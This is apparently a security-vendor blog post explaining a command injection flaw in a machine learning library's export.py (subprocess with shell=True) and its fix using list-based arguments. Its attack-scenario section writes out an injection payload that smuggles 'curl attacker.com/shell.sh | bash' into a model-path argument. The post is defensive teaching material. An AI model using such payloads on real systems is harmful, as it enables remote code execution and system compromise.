Back to Blog
critical SEVERITY5 min read

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in export.py where subprocess calls used `shell=True` with user-controllable CLI arguments. An attacker could inject shell metacharacters through model paths or export parameters to execute arbitrary commands on the host system. The fix replaces shell-based command execution with safer list-based subprocess calls that prevent command injection.

O
By Orbis AppSec
Published June 11, 2026Reviewed June 11, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Python's subprocess module where `shell=True` combined with f-string interpolated commands allowed attackers to inject malicious shell metacharacters via CLI arguments like model paths. The fix replaces `subprocess.run(cmd, shell=True)` with `subprocess.run(cmd.split())` using list-based arguments, which prevents the shell from interpreting metacharacters as command separators. This pattern affects any Python code that passes user-controllable input to subprocess calls with shell=True.

Vulnerability at a Glance

cweCWE-78
fixReplace shell=True with list-based subprocess arguments
riskArbitrary command execution on host system
languagePython
root causeUsing shell=True with user-controllable f-string interpolated commands
vulnerabilityCommand Injection via subprocess shell=True

Introduction

In the export.py file of this machine learning library, we discovered a critical command injection vulnerability at line 930. The export_edgetpu() function, responsible for compiling models for Edge TPU deployment, used subprocess.run() with shell=True to execute system commands—a pattern that becomes dangerous when combined with user-controllable input.

The vulnerability existed in how the code checked for the Edge TPU compiler and installed dependencies. At line 930, the code executed:

if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:

This pattern, repeated at line 939 for the sudo check and throughout the installation commands, created multiple injection points where an attacker controlling CLI arguments could break out of the intended command context.

The Vulnerability Explained

The vulnerable code in export_edgetpu() constructed shell commands using string interpolation and executed them with shell=True:

cmd = "edgetpu_compiler --version"
# ...
if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:
    # Installation logic
    sudo = subprocess.run("sudo --version >/dev/null", shell=True).returncode == 0
    for c in (
        "curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -",
        'echo "deb https://packages.cloud.google.com/apt coral-edgetpu-stable main" | sudo tee /etc/apt/sources.list.d/coral-edgetpu.list',
        "sudo apt-get update",
        "sudo apt-get install edgetpu-compiler",
    ):
        subprocess.run(c if sudo else c.replace("sudo ", ""), shell=True, check=True)

When shell=True is set, Python passes the command string to /bin/sh -c, which interprets shell metacharacters like ;, |, $(), and backticks. While the cmd variable in this specific snippet is hardcoded, the broader context of export.py accepts user-controllable CLI arguments for model paths and export parameters.

Attack Scenario

An attacker who can influence the model path via CLI could execute arbitrary commands:

python export.py --weights "model.pt; curl attacker.com/shell.sh | bash" --include edgetpu

The semicolon acts as a command separator in the shell. Instead of just processing model.pt, the shell would:
1. Attempt to process model.pt
2. Execute curl attacker.com/shell.sh | bash

This could lead to:
- Remote code execution: Downloading and running malicious scripts
- Data exfiltration: Stealing model weights, credentials, or sensitive data
- System compromise: Installing backdoors or ransomware
- Lateral movement: Using the compromised system to attack internal networks

The vulnerability is particularly severe because this is a Python library—any application importing export.py inherits this vulnerability, potentially exposing production ML pipelines to attack.

The Fix

The fix eliminates shell=True entirely by switching to list-based subprocess calls. Here's the before/after comparison:

Before (Vulnerable)

if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:
    # ...
    sudo = subprocess.run("sudo --version >/dev/null", shell=True).returncode == 0

After (Secure)

try:
    compiler_present = subprocess.run(
        cmd.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
    ).returncode == 0
except FileNotFoundError:
    compiler_present = False
if not compiler_present:
    # ...
    try:
        sudo = subprocess.run(
            ["sudo", "--version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
        ).returncode == 0
    except FileNotFoundError:
        sudo = False

Key Changes Explained

  1. Replaced shell=True with list arguments: Instead of subprocess.run("cmd arg", shell=True), the fix uses subprocess.run(["cmd", "arg"]). When passing a list, Python executes the program directly via execve() without invoking a shell, so metacharacters like ; are treated as literal characters.

  2. Replaced shell redirection with Python constants: The shell-specific > /dev/null 2>&1 was replaced with stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, achieving the same output suppression without shell interpretation.

  3. Added FileNotFoundError handling: Without shell=True, a missing executable raises FileNotFoundError instead of returning a non-zero exit code. The fix properly catches this exception.

  4. Restructured installation commands: The piped curl command was split into separate subprocess calls with explicit data passing via input= parameter, eliminating the need for shell pipes:

curl_proc = subprocess.run(
    ["curl", "https://packages.cloud.google.com/apt/doc/apt-key.gpg"],
    stdout=subprocess.PIPE, check=True,
)
subprocess.run(s + ["apt-key", "add", "-"], input=curl_proc.stdout, check=True)

Prevention & Best Practices

1. Never Use shell=True with External Input

The golden rule: if any part of your command could be influenced by user input, never use shell=True. Even if you think you've sanitized the input, shell metacharacters are numerous and context-dependent.

2. Always Use List-Based Arguments

# Dangerous
subprocess.run(f"process {user_input}", shell=True)

# Safe
subprocess.run(["process", user_input])

3. Use shlex.split() for Complex Commands

If you must parse a command string into arguments:

import shlex
cmd = "ls -la /home/user"
subprocess.run(shlex.split(cmd))  # ['ls', '-la', '/home/user']

4. Validate and Sanitize Paths

For file paths specifically, use pathlib to resolve and validate:

from pathlib import Path

user_path = Path(user_input).resolve()
if not user_path.is_relative_to(allowed_directory):
    raise ValueError("Path traversal attempt detected")

5. Use Static Analysis Tools

Tools like Semgrep, Bandit, and CodeQL can detect shell=True patterns:

# Bandit check
bandit -r . -t B602,B604

Key Takeaways

  • The export_edgetpu() function's use of shell=True at line 930 created a command injection vector that could be exploited via CLI arguments
  • Replacing f-string commands with list arguments eliminates the shell interpreter entirely, making metacharacter injection impossible
  • Shell output redirection (>/dev/null) must be replaced with Python's subprocess.DEVNULL when removing shell=True
  • Piped shell commands require restructuring into separate subprocess calls with explicit stdout/stdin handling
  • This vulnerability pattern affects any Python library using subprocess—downstream applications inherit the risk

How Orbis AppSec Detected This

  • Source: CLI arguments passed to export.py, including --weights (model path) and export parameters
  • Sink: subprocess.run(..., shell=True) in export.py:930 and export.py:939
  • Missing control: No sanitization of shell metacharacters; direct string interpolation into shell commands
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced all shell=True subprocess calls with list-based arguments that bypass shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in export.py demonstrates why shell=True should be treated as a code smell in security-conscious applications. The fix—switching to list-based subprocess arguments—is straightforward but requires careful attention to shell-specific features like output redirection and pipes.

For developers working with subprocess in Python: default to list arguments, avoid shell=True unless absolutely necessary, and always consider whether any part of your command could be influenced by external input. When in doubt, remember that the shell is a powerful interpreter designed for convenience, not security.

References

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where an attacker can execute arbitrary operating system commands by injecting shell metacharacters into application input that gets passed to a system shell.

How do you prevent command injection in Python?

Avoid using `shell=True` in subprocess calls. Instead, pass commands as a list of arguments (e.g., `subprocess.run(["cmd", "arg1", "arg2"])`) which bypasses shell interpretation entirely.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation alone is insufficient because shell metacharacters are numerous and context-dependent. The safest approach is to avoid shell=True entirely and use list-based arguments.

Can static analysis detect command injection?

Yes, static analysis tools can detect patterns like `subprocess.run(..., shell=True)` combined with string interpolation or concatenation, flagging them as potential command injection sinks.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13786

Related Articles

critical

How Denial of Service via gzip bomb happens in Node.js tar and how to fix it

A critical Denial of Service vulnerability (CVE-2026-59873) was discovered in the node-tar package where attackers could craft malicious gzip archives that expand to consume all available system resources. This vulnerability affected version 7.5.15 of the tar package and was fixed by upgrading to version 7.5.19. The fix protects applications from resource exhaustion attacks when processing untrusted archive files.

critical

How unsafe eval() code execution happens in JavaScript game scripting and how to fix it

A critical arbitrary code execution vulnerability was discovered in `scripts/CommandBlock.js` where user-provided input from a text dialog was directly concatenated into an `eval()` call without any sanitization or sandboxing. The fix replaces the dangerous `eval()` with a `new Function()` constructor, which provides better scope isolation and eliminates the string concatenation injection vector.

high

How HTTP Transport Hijacking via Prototype Pollution happens in Node.js axios and how to fix it

CVE-2026-42033 is a high-severity prototype pollution vulnerability in axios versions prior to 1.15.1 that could allow attackers to hijack HTTP transport configuration through malicious input. This vulnerability affects any Node.js application using vulnerable axios versions to make HTTP requests. The fix involves upgrading axios to version 1.15.1, which patches the prototype pollution flaw and prevents transport layer attacks.

critical

How hardcoded API key exposure happens in JavaScript and how to fix it

A critical security vulnerability was discovered in `js/douban.js` where the Douban API key (`0ac44ae016490db2204ce0a042db2916`) was hardcoded directly in client-side JavaScript. This exposed the API credential to any user who could view the page source or use browser developer tools. The fix removed the hardcoded key, preventing unauthorized API access and potential abuse.

critical

How buffer overflow in Intel SGX enclave ECALLs happens in C and how to fix it

A critical buffer overflow vulnerability was discovered in Intel SGX enclave functions `ecall_encrypt_data` and `ecall_decrypt_data` in `backend/sgx/enclave/enclave.c`. The functions performed memory operations without validating that the provided buffer lengths matched the actual allocated buffer sizes, allowing an attacker controlling the untrusted application to trigger heap corruption within the secure enclave by passing oversized length parameters.

critical

How Server-Side Request Forgery happens in Node.js server.js and how to fix it

A Server-Side Request Forgery (SSRF) vulnerability was discovered in `server.js` and `worker.js`, where user-supplied `config` URL parameters were passed directly to `fetchWithAuth()` without any validation. This allowed attackers to force the application to make requests to internal network addresses, cloud metadata endpoints like `169.254.169.254`, or `file://` URIs. The fix introduces an `isAllowedUrl()` allowlist function that rejects private IP ranges, loopback addresses, and non-HTTP(S) pr